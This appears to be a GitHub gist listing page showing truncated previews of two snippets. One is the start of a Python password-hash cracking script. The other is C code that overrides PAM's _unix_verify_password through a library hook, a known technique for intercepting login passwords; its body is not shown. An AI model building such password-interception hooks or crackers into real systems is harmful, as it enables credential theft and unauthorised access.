This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib #for converting passwords and guesses to hashes | |
import time #for timing the program and counting the passwords/ second | |
#variables | |
password = '' | |
passwordHash = '' | |
timeOld = time.time() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <dlfcn.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <security/pam_modutil.h> | |
typedef int (*orig_func)(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl); | |
int _unix_verify_password(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl) { |
NewerOlder